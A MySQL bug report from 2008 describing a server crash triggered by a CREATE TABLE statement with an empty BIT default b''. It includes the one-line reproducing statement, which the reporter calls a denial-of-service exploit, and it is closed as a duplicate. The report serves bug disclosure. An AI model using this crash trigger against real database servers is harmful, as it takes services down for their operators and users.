Bug #39336 Crash of MySQL after using a BIT date types

• Submitted: 9 Sep 2008 12:04
• Modified: 9 Sep 2008 12:09
• Reporter: Alexey Vlasov
• Status: Duplicate
• Category: Server: Parser
• Severity: S1 (Critical)
• Version: 5.0.60-log Gentoo Linux mysql-5.0.60-r1
• OS: Linux (Gentoo 2008)
• Tags: DoS

[9 Sep 2008 12:04] Alexey Vlasov

Description:
Crash of MySQL after using a BIT date types (olny with b'').

How to repeat:
mysql> create table ttt (aaa BIT (1) NOT NULL DEFAULT b''); );

ERROR 2013 (HY000): Lost connection to MySQL server during query
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
ERROR 2003 (HY000): Can't connect to MySQL server on 'myserver.com' (111)
ERROR:
Can't connect to the server

The same thing with version 5.0.54.

P.S. Wonderful DOS exploit ;)

[9 Sep 2008 12:09] Shane Bester

duplicate of bug #35658